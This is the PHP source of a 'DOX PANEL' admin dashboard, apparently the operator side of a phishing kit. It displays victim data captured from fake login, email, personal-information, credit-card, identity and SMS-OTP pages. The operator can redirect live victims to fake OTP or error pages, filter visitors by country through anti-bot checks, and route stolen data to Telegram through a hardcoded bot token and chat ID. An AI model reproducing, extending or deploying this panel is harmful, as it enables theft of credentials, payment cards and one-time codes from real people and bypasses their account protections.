<?php
session_start();

// Admin authentication
$admin_password = 'dox2025';

if (!isset($_SESSION['dox_admin_logged_in'])) {
    if (isset($_POST['password'])) {
        if ($_POST['password'] === $admin_password) {
            $_SESSION['dox_admin_logged_in'] = true;
        } else {
            $error = 'Invalid password';
        }
    }

    if (!isset($_SESSION['dox_admin_logged_in'])) {
        ?>
        <!DOCTYPE html>
        <html>
        <head>
            <title>DOX PANEL - Admin Login</title>
            <style>
                body { 
                    font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; 
                    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); 
                    min-height: 100vh; 
                    display: flex; 
                    align-items: center; 
                    justify-content: center; 
                    margin: 0; 
                }
                .login-form { 
                    background: white; 
                    padding: 40px; 
                    border-radius: 15px; 
                    max-width: 400px; 
                    width: 100%; 
                    box-shadow: 0 15px 35px rgba(0,0,0,0.1); 
                    text-align: center;
                }
                .logo { 
                    font-size: 32px; 
                    font-weight: bold; 
                    color: #333; 
                    margin-bottom: 10px; 
                }
                .subtitle { 
                    color: #666; 
                    margin-bottom: 30px; 
                }
                input { 
                    width: 100%; 
                    padding: 15px; 
                    margin: 10px 0; 
                    border: 2px solid #e0e0e0; 
                    border-radius: 8px; 
                    font-size: 16px; 
                    transition: border-color 0.3s;
                }
                input:focus { 
                    outline: none; 
                    border-color: #667eea; 
                }
                button { 
                    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); 
                    color: white; 
                    padding: 15px 30px; 
                    border: none; 
                    border-radius: 8px; 
                    cursor: pointer; 
                    width: 100%; 
                    font-size: 16px; 
                    font-weight: 600;
                    transition: transform 0.3s;
                }
                button:hover { 
                    transform: translateY(-2px); 
                }
                .error { 
                    color: #e74c3c; 
                    margin: 10px 0; 
                    padding: 10px; 
                    background: #ffeaea; 
                    border-radius: 5px; 
                }
            </style>
        </head>
        <body>
            <div class="login-form">
                <div class="logo">🔐 DOX PANEL</div>
                <div class="subtitle">Admin Access Required</div>
                <?php if (isset($error)) echo "<div class='error'>$error</div>"; ?>
                <form method="POST">
                    <input type="password" name="password" placeholder="Enter Admin Password" required>
                    <button type="submit">Access Panel</button>
                </form>
            </div>
        </body>
        </html>
        <?php
        exit;
    }
}

// Handle admin actions
if (isset($_POST['action'])) {
    switch ($_POST['action']) {
        case 'get_visitor_data':
            $sessionId = $_POST['session_id'];
            $visitorData = getVisitorDataById($sessionId);
            echo json_encode(['status' => 'success', 'data' => $visitorData]);
            exit;

        case 'delete_visitor_data':
            $sessionId = $_POST['session_id'];
            deleteVisitorDataById($sessionId);
            echo json_encode(['status' => 'success', 'message' => 'Visitor data deleted successfully']);
            exit;

        case 'clear_all_data':
            clearAllVisitorData();
            echo json_encode(['status' => 'success', 'message' => 'All data cleared successfully']);
            exit;

        case 'redirect_visitor':
            // Set redirect for specific visitor
            $sessionId = $_POST['session_id'];
            $redirectTo = $_POST['redirect_to'];

            // Save redirect instruction
            file_put_contents("Data/redirect_{$sessionId}.txt", $redirectTo);
            echo json_encode(['status' => 'success', 'message' => 'Redirect set successfully']);
            exit;

        case 'update_settings':
            $settings = [
                'telegram_token' => $_POST['telegram_token'],
                'telegram_chat_id' => $_POST['telegram_chat_id'],
                'allowed_countries' => explode(',', $_POST['allowed_countries'])
            ];

            file_put_contents('Data/admin_settings.json', json_encode($settings, JSON_PRETTY_PRINT));

            // Update antibot config
            $antibotConfig = json_decode(file_get_contents('antibot/config.json'), true);
            $antibotConfig['allowed_countries'] = $settings['allowed_countries'];
            file_put_contents('antibot/config.json', json_encode($antibotConfig, JSON_PRETTY_PRINT));

            echo json_encode(['status' => 'success', 'message' => 'Settings updated successfully']);
            exit;
    }
}

// Get data
function getVisitorData() {
    $data = [];

    // Get all data files
    $files = glob('Data/*.json');

    foreach ($files as $file) {
        if (strpos($file, 'admin_settings') !== false) continue;

        $content = json_decode(file_get_contents($file), true);
        if ($content) {
            foreach ($content as $visitor) {
                // Check if visitor is in live visitors
                $visitor['status'] = 'offline';
                if (strpos($file, 'live_visitors') !== false) {
                    $visitor['status'] = 'online';
                }
                $data[] = $visitor;
            }
        }
    }

    // Remove duplicates and keep the latest entry for each session
    $uniqueData = [];
    foreach ($data as $visitor) {
        $sessionId = $visitor['session_id'] ?? 'unknown';
        if (!isset($uniqueData[$sessionId]) || 
            strtotime($visitor['timestamp']) > strtotime($uniqueData[$sessionId]['timestamp'])) {
            $uniqueData[$sessionId] = $visitor;
        }
    }

    $data = array_values($uniqueData);

    // Sort by timestamp
    usort($data, function($a, $b) {
        return strtotime($b['timestamp']) - strtotime($a['timestamp']);
    });

    return $data;
}

function getVisitorDataById($sessionId) {
    $visitorData = [
        'session_id' => $sessionId,
        'visitor_info' => null,
        'pages' => []
    ];

    // Get all data files
    $files = glob('Data/*.json');

    foreach ($files as $file) {
        if (strpos($file, 'admin_settings') !== false) continue;

        $content = json_decode(file_get_contents($file), true);
        if ($content) {
            foreach ($content as $visitor) {
                if (isset($visitor['session_id']) && $visitor['session_id'] === $sessionId) {
                    // Store visitor info
                    if (isset($visitor['visitor_info'])) {
                        $visitorData['visitor_info'] = $visitor['visitor_info'];
                    }

                    // Store page data
                    if (isset($visitor['page']) && isset($visitor['data'])) {
                        $visitorData['pages'][$visitor['page']] = $visitor['data'];
                    }
                }
            }
        }
    }

    return $visitorData;
}

function deleteVisitorDataById($sessionId) {
    $files = glob('Data/*.json');

    foreach ($files as $file) {
        if (strpos($file, 'admin_settings') !== false) continue;

        $content = json_decode(file_get_contents($file), true);
        if ($content) {
            $newContent = array_filter($content, function($visitor) use ($sessionId) {
                return !isset($visitor['session_id']) || $visitor['session_id'] !== $sessionId;
            });

            file_put_contents($file, json_encode(array_values($newContent), JSON_PRETTY_PRINT));
        }
    }
}

function clearAllVisitorData() {
    $files = glob('Data/*.json');

    foreach ($files as $file) {
        if (strpos($file, 'admin_settings') !== false) continue;
        unlink($file);
    }
}

function getAntibotData() {
    $blacklist = file_exists('antibot/blacklist.txt') ? file_get_contents('antibot/blacklist.txt') : '';
    $whitelist = file_exists('antibot/whitelist.txt') ? file_get_contents('antibot/whitelist.txt') : '';
    $logs = file_exists('antibot/antibot.log') ? array_reverse(explode("\n", file_get_contents('antibot/antibot.log'))) : [];
    $logs = array_slice(array_filter($logs), 0, 50);

    return [
        'blacklist' => $blacklist,
        'whitelist' => $whitelist,
        'logs' => $logs
    ];
}

function getSettings() {
    if (file_exists('Data/admin_settings.json')) {
        return json_decode(file_get_contents('Data/admin_settings.json'), true);
    }

    return [
        'telegram_token' => '8156140941:AAGINAnZ36j6WmCqXC_ta86nOa12XtFvtGk',
        'telegram_chat_id' => '1452910092',
        'allowed_countries' => ['US', 'CA', 'GB', 'AU', 'DE', 'FR', 'IT', 'ES', 'NL', 'SE']
    ];
}

$visitors = getVisitorData();
$antibotData = getAntibotData();
$settings = getSettings();

// Get statistics
$stats = [
    'total_visitors' => count($visitors),
    'today_visitors' => count(array_filter($visitors, function($v) {
        return date('Y-m-d', strtotime($v['timestamp'])) === date('Y-m-d');
    })),
    'blocked_ips' => substr_count($antibotData['blacklist'], "\n"),
    'countries' => array_count_values(array_column(array_column($visitors, 'visitor_info'), 'country'))
];
?>

<!DOCTYPE html>
<html>
<head>
    <title>DOX PANEL - Admin Dashboard</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }

        body { 
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; 
            background: #f8f9fa; 
            color: #333; 
        }

        .header { 
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); 
            color: white; 
            padding: 20px; 
            box-shadow: 0 2px 10px rgba(0,0,0,0.1); 
        }

        .header h1 { 
            font-size: 28px; 
            font-weight: 700; 
        }

        .header .subtitle { 
            opacity: 0.9; 
            margin-top: 5px; 
        }

        .logout { 
            float: right; 
            background: rgba(255,255,255,0.2); 
            color: white; 
            text-decoration: none; 
            padding: 10px 20px; 
            border-radius: 25px; 
            transition: background 0.3s; 
        }

        .logout:hover { 
            background: rgba(255,255,255,0.3); 
        }

        .container { 
            max-width: 1400px; 
            margin: 0 auto; 
            padding: 20px; 
        }

        .stats-grid { 
            display: grid; 
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); 
            gap: 20px; 
            margin-bottom: 30px; 
        }

        .stat-card { 
            background: white; 
            padding: 25px; 
            border-radius: 15px; 
            box-shadow: 0 5px 15px rgba(0,0,0,0.08); 
            text-align: center; 
            transition: transform 0.3s; 
        }

        .stat-card:hover { 
            transform: translateY(-5px); 
        }

        .stat-number { 
            font-size: 36px; 
            font-weight: bold; 
            color: #667eea; 
            margin-bottom: 10px; 
        }

        .stat-label { 
            color: #666; 
            font-size: 14px; 
            text-transform: uppercase; 
            letter-spacing: 1px; 
        }

        .tabs { 
            display: flex; 
            background: white; 
            border-radius: 15px; 
            overflow: hidden; 
            box-shadow: 0 5px 15px rgba(0,0,0,0.08); 
            margin-bottom: 20px; 
        }

        .tab { 
            flex: 1; 
            padding: 15px 20px; 
            background: white; 
            border: none; 
            cursor: pointer; 
            font-size: 16px; 
            font-weight: 600; 
            transition: all 0.3s; 
            color: #666; 
        }

        .tab.active { 
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); 
            color: white; 
        }

        .tab-content { 
            display: none; 
            background: white; 
            border-radius: 15px; 
            padding: 25px; 
            box-shadow: 0 5px 15px rgba(0,0,0,0.08); 
        }

        .tab-content.active { 
            display: block; 
        }

        .visitor-card { 
            background: #f8f9fa; 
            border: 1px solid #e9ecef; 
            border-radius: 10px; 
            padding: 20px; 
            margin-bottom: 15px; 
            transition: all 0.3s; 
        }

        .visitor-card:hover { 
            box-shadow: 0 5px 15px rgba(0,0,0,0.1); 
            transform: translateY(-2px); 
        }

        .visitor-header { 
            display: flex; 
            justify-content: space-between; 
            align-items: center; 
            margin-bottom: 15px; 
        }

        .visitor-ip { 
            font-weight: bold; 
            color: #667eea; 
            font-size: 18px; 
        }

        .visitor-time { 
            color: #666; 
            font-size: 14px; 
        }

        .visitor-info { 
            display: grid; 
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); 
            gap: 15px; 
            margin-bottom: 15px; 
        }

        .info-item { 
            display: flex; 
            align-items: center; 
            gap: 8px; 
        }

        .info-label { 
            font-weight: 600; 
            color: #333; 
            min-width: 80px; 
        }

        .info-value { 
            color: #666; 
        }

        .visitor-data { 
            background: white; 
            border-radius: 8px; 
            padding: 15px; 
            margin-top: 15px; 
        }

        .data-title { 
            font-weight: bold; 
            color: #333; 
            margin-bottom: 10px; 
        }

        .data-content { 
            font-family: monospace; 
            background: #f1f3f4; 
            padding: 10px; 
            border-radius: 5px; 
            font-size: 14px; 
            white-space: pre-wrap; 
        }

        .redirect-controls { 
            display: flex; 
            gap: 10px; 
            margin-top: 15px; 
        }

        .redirect-select { 
            flex: 1; 
            padding: 8px 12px; 
            border: 1px solid #ddd; 
            border-radius: 5px; 
        }

        .redirect-btn { 
            background: #28a745; 
            color: white; 
            border: none; 
            padding: 8px 15px; 
            border-radius: 5px; 
            cursor: pointer; 
            font-weight: 600; 
        }

        .redirect-btn:hover { 
            background: #218838; 
        }

        .view-btn { 
            background: #007bff; 
            color: white; 
            border: none; 
            padding: 8px 15px; 
            border-radius: 5px; 
            cursor: pointer; 
            font-weight: 600; 
            margin-left: 5px;
        }

        .view-btn:hover { 
            background: #0056b3; 
        }

        .delete-btn { 
            background: #dc3545; 
            color: white; 
            border: none; 
            padding: 8px 15px; 
            border-radius: 5px; 
            cursor: pointer; 
            font-weight: 600; 
            margin-left: 5px;
        }

        .delete-btn:hover { 
            background: #c82333; 
        }

        /* Modal Styles */
        .modal {
            display: none;
            position: fixed;
            z-index: 10000;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0,0,0,0.5);
        }

        .modal-content {
            background-color: white;
            margin: 5% auto;
            padding: 30px;
            border-radius: 15px;
            width: 90%;
            max-width: 800px;
            max-height: 80vh;
            overflow-y: auto;
            box-shadow: 0 10px 30px rgba(0,0,0,0.3);
        }

        .modal-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            padding-bottom: 15px;
            border-bottom: 2px solid #eee;
        }

        .modal-title {
            font-size: 24px;
            font-weight: bold;
            color: #333;
        }

        .close {
            color: #aaa;
            font-size: 28px;
            font-weight: bold;
            cursor: pointer;
            padding: 5px 10px;
            border-radius: 50%;
            transition: all 0.3s;
        }

        .close:hover {
            color: #000;
            background-color: #f0f0f0;
        }

        .data-section {
            margin-bottom: 25px;
            background: #f8f9fa;
            padding: 20px;
            border-radius: 10px;
            border-left: 4px solid #667eea;
        }

        .data-section h3 {
            color: #333;
            margin-bottom: 15px;
            font-size: 18px;
            display: flex;
            align-items: center;
            gap: 10px;
        }

        .data-table {
            width: 100%;
            border-collapse: collapse;
            background: white;
            border-radius: 8px;
            overflow: hidden;
            box-shadow: 0 2px 8px rgba(0,0,0,0.1);
        }

        .data-table th,
        .data-table td {
            padding: 12px 15px;
            text-align: left;
            border-bottom: 1px solid #eee;
        }

        .data-table th {
            background: #667eea;
            color: white;
            font-weight: 600;
            text-transform: uppercase;
            font-size: 12px;
            letter-spacing: 1px;
        }

        .data-table td {
            font-family: monospace;
            font-size: 14px;
        }

        .data-table tr:hover {
            background-color: #f8f9fa;
        }

        .no-data {
            text-align: center;
            color: #666;
            font-style: italic;
            padding: 20px;
        }

        .settings-form { 
            display: grid; 
            gap: 20px; 
        }

        .form-group { 
            display: flex; 
            flex-direction: column; 
            gap: 8px; 
        }

        .form-label { 
            font-weight: 600; 
            color: #333; 
        }

        .form-input { 
            padding: 12px; 
            border: 2px solid #e0e0e0; 
            border-radius: 8px; 
            font-size: 16px; 
            transition: border-color 0.3s; 
        }

        .form-input:focus { 
            outline: none; 
            border-color: #667eea; 
        }

        .save-btn { 
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); 
            color: white; 
            border: none; 
            padding: 15px 30px; 
            border-radius: 8px; 
            cursor: pointer; 
            font-size: 16px; 
            font-weight: 600; 
            transition: transform 0.3s; 
        }

        .save-btn:hover { 
            transform: translateY(-2px); 
        }

        .log-entry { 
            padding: 10px; 
            border-bottom: 1px solid #eee; 
            font-family: monospace; 
            font-size: 12px; 
        }

        .blocked { 
            background: #ffe6e6; 
        }

        .allowed { 
            background: #e6ffe6; 
        }

        .country-flag { 
            width: 20px; 
            height: 15px; 
            margin-right: 8px; 
        }

        .live-indicator { 
            display: inline-block; 
            width: 10px; 
            height: 10px; 
            background: #28a745; 
            border-radius: 50%; 
            animation: pulse 2s infinite; 
            margin-right: 8px; 
        }

        .offline-indicator { 
            display: inline-block; 
            width: 10px; 
            height: 10px; 
            background: #dc3545; 
            border-radius: 50%; 
            margin-right: 8px; 
        }

        @keyframes pulse { 
            0% { opacity: 1; } 
            50% { opacity: 0.5; } 
            100% { opacity: 1; } 
        }

        .page-badge { 
            display: inline-block; 
            background: #667eea; 
            color: white; 
            padding: 4px 8px; 
            border-radius: 12px; 
            font-size: 12px; 
            font-weight: 600; 
        }

        @media (max-width: 768px) { 
            .visitor-info { 
                grid-template-columns: 1fr; 
            } 
            .redirect-controls { 
                flex-direction: column; 
                gap: 10px;
            } 
            .stats-grid { 
                grid-template-columns: repeat(2, 1fr); 
            } 
            .modal-content {
                width: 95%;
                margin: 2% auto;
                padding: 20px;
            }
        }
    </style>
</head>
<body>
    <div class="header">
        <a href="?logout=1" class="logout">Logout</a>
        <h1>🔐 DOX PANEL</h1>
        <div class="subtitle">Advanced Admin Dashboard - Live Monitoring</div>
    </div>

    <div class="container">
        <div class="stats-grid">
            <div class="stat-card">
                <div class="stat-number"><?php echo $stats['total_visitors']; ?></div>
                <div class="stat-label">Total Visitors</div>
            </div>
            <div class="stat-card">
                <div class="stat-number"><?php echo $stats['today_visitors']; ?></div>
                <div class="stat-label">Today's Visitors</div>
            </div>
            <div class="stat-card">
                <div class="stat-number"><?php echo $stats['blocked_ips']; ?></div>
                <div class="stat-label">Blocked IPs</div>
            </div>
            <div class="stat-card">
                <div class="stat-number"><?php echo count($stats['countries']); ?></div>
                <div class="stat-label">Countries</div>
            </div>
        </div>

        <div class="tabs">
            <button class="tab" onclick="clearAllData()" style="background: #dc3545; color: white; margin-left: auto;">
                🗑️ Clear All Data
            </button>
            <button class="tab active" onclick="showTab('visitors')">
                <span class="live-indicator"></span>Live Visitors (<?php echo count(array_filter($visitors, function($v) { return isset($v['status']) && $v['status'] === 'online'; })); ?>)
            </button>
            <button class="tab" onclick="showTab('antibot')">🛡️ Anti-Bot</button>
            <button class="tab" onclick="showTab('settings')">⚙️ Settings</button>
            <button class="tab" onclick="showTab('analytics')">📊 Analytics</button>
        </div>

        <div id="visitors" class="tab-content active">
            <h3>Live Visitor Monitoring & Control</h3>
            <div id="visitor-list">
                <?php foreach (array_slice($visitors, 0, 20) as $visitor): ?>
                <div class="visitor-card">
                    <div class="visitor-header">
                        <div class="visitor-ip">
                            <?php if (isset($visitor['status']) && $visitor['status'] === 'online'): ?>
                                <span class="live-indicator"></span>
                            <?php else: ?>
                                <span class="offline-indicator"></span>
                            <?php endif; ?>
                            <img src="https://flagcdn.com/20x15/<?php echo strtolower($visitor['visitor_info']['country'] === 'United States' ? 'us' : substr($visitor['visitor_info']['country'], 0, 2)); ?>.png" 
                                 class="country-flag" alt="<?php echo $visitor['visitor_info']['country']; ?>">
                            <?php echo $visitor['visitor_info']['ip']; ?>
                            <?php if (isset($visitor['status']) && $visitor['status'] === 'online'): ?>
                                <span style="color: #28a745; font-size: 12px; margin-left: 8px;">LIVE</span>
                            <?php endif; ?>
                        </div>
                        <div class="visitor-time"><?php echo $visitor['timestamp']; ?></div>
                    </div>

                    <div class="visitor-info">
                        <div class="info-item">
                            <span class="info-label">🌍 Location:</span>
                            <span class="info-value"><?php echo $visitor['visitor_info']['city']; ?>, <?php echo $visitor['visitor_info']['country']; ?></span>
                        </div>
                        <div class="info-item">
                            <span class="info-label">💻 Device:</span>
                            <span class="info-value"><?php echo $visitor['visitor_info']['device']; ?> (<?php echo $visitor['visitor_info']['os']; ?>)</span>
                        </div>
                        <div class="info-item">
                            <span class="info-label">🏢 ISP:</span>
                            <span class="info-value"><?php echo $visitor['visitor_info']['isp']; ?></span>
                        </div>
                        <div class="info-item">
                            <span class="info-label">📄 Page:</span>
                            <span class="page-badge"><?php echo $visitor['page']; ?></span>
                        </div>
                    </div>

                    <?php if (!empty($visitor['data'])): ?>
                    <div class="visitor-data">
                        <div class="data-title">📝 Captured Data:</div>
                        <div class="data-content"><?php echo json_encode($visitor['data'], JSON_PRETTY_PRINT); ?></div>
                    </div>
                    <?php endif; ?>

                    <div class="redirect-controls">
                        <select class="redirect-select" id="redirect-<?php echo $visitor['session_id']; ?>">
                            <option value="">Select redirect page...</option>
                            <option value="sms_otp.php">SMS OTP Verification</option>
                            <option value="error_login.php">Login Error</option>
                            <option value="error_email.php">Email Error</option>
                        </select>
                        <button class="redirect-btn" onclick="redirectVisitor('<?php echo $visitor['session_id']; ?>')">
                            🔄 Redirect
                        </button>
                        <button class="view-btn" onclick="viewVisitorData('<?php echo $visitor['session_id']; ?>')">
                            👁️ VIEW
                        </button>
                        <button class="delete-btn" onclick="deleteVisitorData('<?php echo $visitor['session_id']; ?>')">
                            🗑️ DELETE
                        </button>
                    </div>
                </div>
                <?php endforeach; ?>
            </div>
        </div>

        <div id="antibot" class="tab-content">
            <h3>🛡️ Anti-Bot Protection Status</h3>

            <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 20px; margin-bottom: 20px;">
                <div>
                    <h4>🚫 Blacklisted IPs</h4>
                    <textarea readonly style="width: 100%; height: 200px; font-family: monospace;"><?php echo $antibotData['blacklist']; ?></textarea>
                </div>
                <div>
                    <h4>✅ Whitelisted IPs</h4>
                    <textarea readonly style="width: 100%; height: 200px; font-family: monospace;"><?php echo $antibotData['whitelist']; ?></textarea>
                </div>
            </div>

            <h4>📋 Recent Security Logs</h4>
            <div style="max-height: 400px; overflow-y: auto;">
                <?php foreach ($antibotData['logs'] as $log): ?>
                    <?php 
                    $logData = json_decode($log, true);
                    if ($logData):
                        $class = strpos($logData['action'], 'BLOCKED') !== false ? 'blocked' : 'allowed';
                    ?>
                    <div class="log-entry <?php echo $class; ?>">
                        <strong><?php echo $logData['timestamp']; ?></strong> - 
                        <?php echo $logData['ip']; ?> - 
                        <?php echo $logData['action']; ?>
                    </div>
                    <?php endif; ?>
                <?php endforeach; ?>
            </div>
        </div>

        <div id="settings" class="tab-content">
            <h3>⚙️ System Settings</h3>

            <form class="settings-form" onsubmit="updateSettings(event)">
                <div class="form-group">
                    <label class="form-label">📱 Telegram Bot Token</label>
                    <input type="text" class="form-input" name="telegram_token" value="<?php echo $settings['telegram_token']; ?>" required>
                </div>

                <div class="form-group">
                    <label class="form-label">💬 Telegram Chat ID</label>
                    <input type="text" class="form-input" name="telegram_chat_id" value="<?php echo $settings['telegram_chat_id']; ?>" required>
                </div>

                <div class="form-group">
                    <label class="form-label">🌍 Allowed Countries (comma separated)</label>
                    <input type="text" class="form-input" name="allowed_countries" value="<?php echo implode(',', $settings['allowed_countries']); ?>" required>
                </div>

                <button type="submit" class="save-btn">💾 Save Settings</button>
            </form>
        </div>

        <div id="analytics" class="tab-content">
            <h3>📊 Analytics & Statistics</h3>

            <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 20px;">
                <div class="stat-card">
                    <h4>🌍 Top Countries</h4>
                    <?php foreach (array_slice($stats['countries'], 0, 5, true) as $country => $count): ?>
                    <div style="display: flex; justify-content: space-between; margin: 10px 0;">
                        <span><?php echo $country; ?></span>
                        <strong><?php echo $count; ?></strong>
                    </div>
                    <?php endforeach; ?>
                </div>

                <div class="stat-card">
                    <h4>📱 Device Types</h4>
                    <?php 
                    $devices = array_count_values(array_column(array_column($visitors, 'visitor_info'), 'device'));
                    foreach ($devices as $device => $count): 
                    ?>
                    <div style="display: flex; justify-content: space-between; margin: 10px 0;">
                        <span><?php echo $device; ?></span>
                        <strong><?php echo $count; ?></strong>
                    </div>
                    <?php endforeach; ?>
                </div>

                <div class="stat-card">
                    <h4>💻 Operating Systems</h4>
                    <?php 
                    $os = array_count_values(array_column(array_column($visitors, 'visitor_info'), 'os'));
                    foreach (array_slice($os, 0, 5, true) as $system => $count): 
                    ?>
                    <div style="display: flex; justify-content: space-between; margin: 10px 0;">
                        <span><?php echo $system; ?></span>
                        <strong><?php echo $count; ?></strong>
                    </div>
                    <?php endforeach; ?>
                </div>
            </div>
        </div>
    </div>

    <!-- Modal for viewing visitor data -->
    <div id="visitorModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h2 class="modal-title">👤 Visitor Data</h2>
                <span class="close" onclick="closeModal()">&times;</span>
            </div>
            <div id="modalContent">
                <!-- Content will be loaded here -->
            </div>
        </div>
    </div>

    <script>
        function showTab(tabName) {
            // Hide all tab contents
            document.querySelectorAll('.tab-content').forEach(content => {
                content.classList.remove('active');
            });

            // Remove active class from all tabs
            document.querySelectorAll('.tab').forEach(tab => {
                tab.classList.remove('active');
            });

            // Show selected tab content
            document.getElementById(tabName).classList.add('active');

            // Add active class to clicked tab
            event.target.classList.add('active');
        }

        function redirectVisitor(sessionId) {
            const select = document.getElementById('redirect-' + sessionId);
            const redirectTo = select.value;

            if (!redirectTo) {
                alert('Please select a redirect page');
                return;
            }

            fetch('doxadmin.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded',
                },
                body: `action=redirect_visitor&session_id=${sessionId}&redirect_to=${redirectTo}`
            })
            .then(response => response.json())
            .then(data => {
                if (data.status === 'success') {
                    alert('Visitor will be redirected on next page load');
                    select.value = '';
                } else {
                    alert('Error setting redirect');
                }
            });
        }

        function viewVisitorData(sessionId) {
            // Show loading
            document.getElementById('modalContent').innerHTML = '<div style="text-align: center; padding: 50px;"><h3>🔄 Loading data...</h3></div>';
            document.getElementById('visitorModal').style.display = 'block';

            // Fetch visitor data
            fetch('doxadmin.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded',
                },
                body: `action=get_visitor_data&session_id=${sessionId}`
            })
            .then(response => response.json())
            .then(data => {
                if (data.status === 'success') {
                    displayVisitorData(data.data);
                } else {
                    document.getElementById('modalContent').innerHTML = '<div class="no-data">❌ No data found for this visitor</div>';
                }
            })
            .catch(error => {
                document.getElementById('modalContent').innerHTML = '<div class="no-data">❌ Error loading data</div>';
            });
        }

        function displayVisitorData(visitorData) {
            let html = '';

            // Visitor Info Section
            if (visitorData.visitor_info) {
                html += `
                    <div class="data-section">
                        <h3>🌍 Visitor Information</h3>
                        <table class="data-table">
                            <tr><th>IP Address</th><td>${visitorData.visitor_info.ip || 'N/A'}</td></tr>
                            <tr><th>Location</th><td>${visitorData.visitor_info.city || 'N/A'}, ${visitorData.visitor_info.country || 'N/A'}</td></tr>
                            <tr><th>ISP</th><td>${visitorData.visitor_info.isp || 'N/A'}</td></tr>
                            <tr><th>Device</th><td>${visitorData.visitor_info.device || 'N/A'} (${visitorData.visitor_info.os || 'N/A'})</td></tr>
                            <tr><th>First Visit</th><td>${visitorData.visitor_info.timestamp || 'N/A'}</td></tr>
                        </table>
                    </div>
                `;
            }

            // All Pages Data
            const pages = ['index', 'dox1', 'dox2', 'dox3', 'dox4', 'error_login', 'error_email', 'sms_otp'];
            const pageNames = {
                'index': '🔐 Login Page',
                'dox1': '📧 Email Access',
                'dox2': '👤 Personal Information',
                'dox3': '💳 Credit Card Information',
                'dox4': '📄 Identity Verification',
                'error_login': '❌ Login Error',
                'error_email': '❌ Email Error',
                'sms_otp': '📱 SMS OTP'
            };

            pages.forEach(page => {
                if (visitorData.pages && visitorData.pages[page]) {
                    const pageData = visitorData.pages[page];
                    html += `
                        <div class="data-section">
                            <h3>${pageNames[page] || page}</h3>
                            <table class="data-table">
                    `;

                    Object.keys(pageData).forEach(key => {
                        if (key !== 'timestamp' && key !== 'action') {
                            html += `<tr><th>${key.replace(/_/g, ' ').toUpperCase()}</th><td>${pageData[key] || 'N/A'}</td></tr>`;
                        }
                    });

                    if (pageData.timestamp) {
                        html += `<tr><th>TIMESTAMP</th><td>${pageData.timestamp}</td></tr>`;
                    }

                    html += `</table></div>`;
                }
            });

            if (html === '') {
                html = '<div class="no-data">📭 No data collected for this visitor yet</div>';
            }

            document.getElementById('modalContent').innerHTML = html;
        }

        function closeModal() {
            document.getElementById('visitorModal').style.display = 'none';
        }

        function deleteVisitorData(sessionId) {
            if (confirm('⚠️ Are you sure you want to delete all data for this visitor?')) {
                fetch('doxadmin.php', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded',
                    },
                    body: `action=delete_visitor_data&session_id=${sessionId}`
                })
                .then(response => response.json())
                .then(data => {
                    if (data.status === 'success') {
                        alert('✅ Visitor data deleted successfully');
                        location.reload();
                    } else {
                        alert('❌ Error deleting visitor data');
                    }
                });
            }
        }

        function clearAllData() {
            if (confirm('⚠️ Are you sure you want to delete ALL visitor data? This cannot be undone!')) {
                if (confirm('🚨 FINAL WARNING: This will delete ALL data permanently!')) {
                    fetch('doxadmin.php', {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/x-www-form-urlencoded',
                        },
                        body: 'action=clear_all_data'
                    })
                    .then(response => response.json())
                    .then(data => {
                        if (data.status === 'success') {
                            alert('✅ All data cleared successfully');
                            location.reload();
                        } else {
                            alert('❌ Error clearing data');
                        }
                    });
                }
            }
        }

        // Close modal when clicking outside
        window.onclick = function(event) {
            const modal = document.getElementById('visitorModal');
            if (event.target == modal) {
                closeModal();
            }
        }

        function updateSettings(event) {
            event.preventDefault();

            const formData = new FormData(event.target);
            formData.append('action', 'update_settings');

            fetch('doxadmin.php', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                if (data.status === 'success') {
                    alert('Settings updated successfully');
                } else {
                    alert('Error updating settings');
                }
            });
        }

        // Auto-refresh visitor list every 30 seconds
        setInterval(() => {
            if (document.getElementById('visitors').classList.contains('active')) {
                location.reload();
            }
        }, 10000); // Refresh every 10 seconds for live tracking
    </script>
</body>
</html>

<?php
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: doxadmin.php');
    exit;
}
?>